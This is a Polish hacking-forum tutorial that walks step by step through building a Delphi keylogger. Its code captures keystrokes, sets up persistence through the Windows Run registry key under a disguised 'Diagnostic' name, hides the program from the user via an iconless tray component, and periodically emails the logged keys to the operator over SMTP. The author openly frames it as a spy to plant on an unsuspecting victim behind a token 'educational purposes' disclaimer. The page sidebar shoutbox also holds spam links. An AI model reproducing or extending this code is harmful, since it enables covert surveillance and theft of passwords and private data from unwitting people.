Hacking  
  Listopad 24 2017 08:30:23  
 
Nawigacja
folder Portal
. Artykuły
. Download
. Forum
. Szukaj
. FAQ
. Regulamin
folder Hacking
. Gry Hakerskie
. Filmy
folder Delphi
. Kursy
. Faq
. Źródła
. Komponenty
. Artykuły
folderWebmaster
. JavaScripts
. Skrypty PHP
folderRóżne
. Kontakt
. Zlokalizuj ip
Aktualnie online
. Gości online: 3

. Użytkowników online: 0

. Łącznie użytkowników: 153,906
. Najnowszy użytkownik: Robertknows
Ostatnie artykuły
. Metoda ataku symlin...
. Asembler x86 w pigułce
. Binder plików z komp...
. [Asembler/MASM] Pobi...
. Braifuck 4 fun
Nawigacja
Artykuły » Delphi artykuły » Keylogger in Delphi 7
Keylogger in Delphi 7

Keylogger in Delphi 7



Artykuł napisany jedynie w celach edukacyjnych. Wszystko co zrobisz/zamieszasz zrobić będziesz musiał wziąć na swoją odpowiedzialność.

Potrzebne komponenty:
KeySpyXP1 - zakładka system
Timer1 - zakładka system
Memo1 - zakładka standard
IdSMTP - zakładka Indy Clients (Indy)
IdMessage - zakładka Indy Misc (Indy)
CoolTray
Komponenty Indy można ściągnąć ze strony:
http://www.indyproject.org/

komponent KeySpyXp z:

http://www.hackme.pl/download/delphi/komponenty/KeySpyXP%20komponent%20i%20progs.rar
lub
http://download.4programmers.net/KeySpyXP.zip

a komponent CoolTray z:

http://hackme.pl/download/delphi/komponenty/tray.rar
lub
http://4programmers.net/Delphi/Komponenty/Cooltray.zip



Witam ;) To jest mój pierwszy art.!;)
Mile widziane komentarze i poprawki. :P To do dzieła !!

Co nasz program powinien umieć:
1. Przechwytywać klawisze.
2. Uruchamiać się przy starcie systemu.
3. Być niewidocznym dla użytkownika.
4. Wysłać na maila wcześniej zapisane klawisze.


1. Do przechwytywania klawiszy posłużę się komponentem KeySpyXP.
Na formie umieszczamy ten komponent (KeySpyXP1) i komponent Memo1.
Dwukrotnie klikamy na komponent KeySpyXp i wpisujemy kod:

if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key;

Nasz program teraz potrafi przechwytywać i zapisywać wciskane klawisze w komponencie Memo1.

2. Aby nasz program uruchamiał się podczas startu wpisujemy klucz do rejestru. Klikamy na formę i w Inspektorze Obiektów w zakładce Events klikamy w OnCreate

procedure TForm1.FormCreate(Sender: TObject);
var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
try
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',False);
Reg.WriteString('Diagnostic', 'C:\Windows\system32\diagnostic.exe');
finally
Reg.CloseKey;
Reg.Free;
end;
end;

Oczywiście w bloku Uses dopisujemy Registry. Nasz program nazwałem rDiagnosticr1;, żeby potencjalny lamer się nie domyślił że to szpieg ;D. Ścieżkę do pliku można zmieniać do woli i nazwę też. Teraz nasz program będzie uruchamiany ze startem systemu (Jeśli znajduje się w podanej ścieżce!).

3. Aby nasz program był niewidoczny potrzebujemy komponentu CoolTray. Wrzucamy go na formę i IconVisible ustawiamy na FALSE, MinimizeToTray ustawiamy na TRUE i StartMinimizet na TRUE. Teraz nasz program będzie uruchamiał się zminimalizowany i ładował się do traya, ale nie posiada ikony więc użytkownik nie będzie wiedział że coś tam jest ;D. Jedyna wada to że jest widoczny w Menedżerze urządzeń ;(

4. Teraz zajmiemy się wysyłaniem maila. Dwukrotne klikamy na komponent Timer i wklejamy poniższy kod. W Timer w zakładce Events zmieniamy Interval (czas mierzy w ms). Standardowo ustawione jest na 1000 czyli 1 s. Warto zmienić na jakąś większą wartość np. 10800000ms = 3h

IdMessage1.Body.Append('TREŚĆ MAILA');
IdMessage1.Recipients.EMailAddresses := 'ODBIORCA@ODBIORCA.PL';
IdMessage1.Subject := 'TEMAT';
idSMTP1.Password := 'HASŁO DO KONTA';
idSMTP1.Username := 'NAZWA UŻYTKOWNIKA';
idSMTP1.Host := 'HOST DO POŁĄCZENIA';
IdSMTP1.Connect;
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
end;

Wyraz Treść Maila1; zmieniamy na rmemo1.Textr1; ( bez cydzysłowa ),
'ODBIORCA@ODBIORCA.PL' zmieniamy na swojego maila.
To połączenie wymaga uwieżytelnienia wiec potrzebujemy drugiego maila.
Nazwa użytkownika, hasło i host dotyczą się drugiego maila.

Podsumowanie:
Ten program na 100% działa bo sprawdziłem :)
Teraz zacznę go ulepszać. W przyszłości dorzucę tworzenie pliku tekstowego i wysyłanie tylko jego na maila (tylko gdy jest połączenie z netem) o określonej godzinie.
Dzięki za komentarze i poprawki :D
Logowanie
Nazwa użytkownika

Hasło



Nie masz jeszcze konta?
Zarejestruj się

Nie możesz się zalogować?
Poproś o nowe hasło
Shoutbox
Musisz zalogować się, aby móc dodać wiadomość.

22-11-2017 05:27
guest test post bbcode <a href="http://gdhyue
i23kol.com/" Chytryhtml</a> http://gdhyuei23ko
l.com/ simple

19-11-2017 23:03
<a href="https://www.a
vissoft.de/damensa
ndaletten/pleaseru
sa-plateau-kniesti
efel-electra-2020-
mattweiss.php" ChytryPleaserUSA Plateau Kniestiefel Electra 2020 mattweiss</a> <a href

18-11-2017 18:28
Dzien dobry Potrzebna kasa? Zaden problem! https://goo.gl/eaN
BmN

17-11-2017 09:45

17-11-2017 08:02

Licznik
31,055,482 unikalne wizyty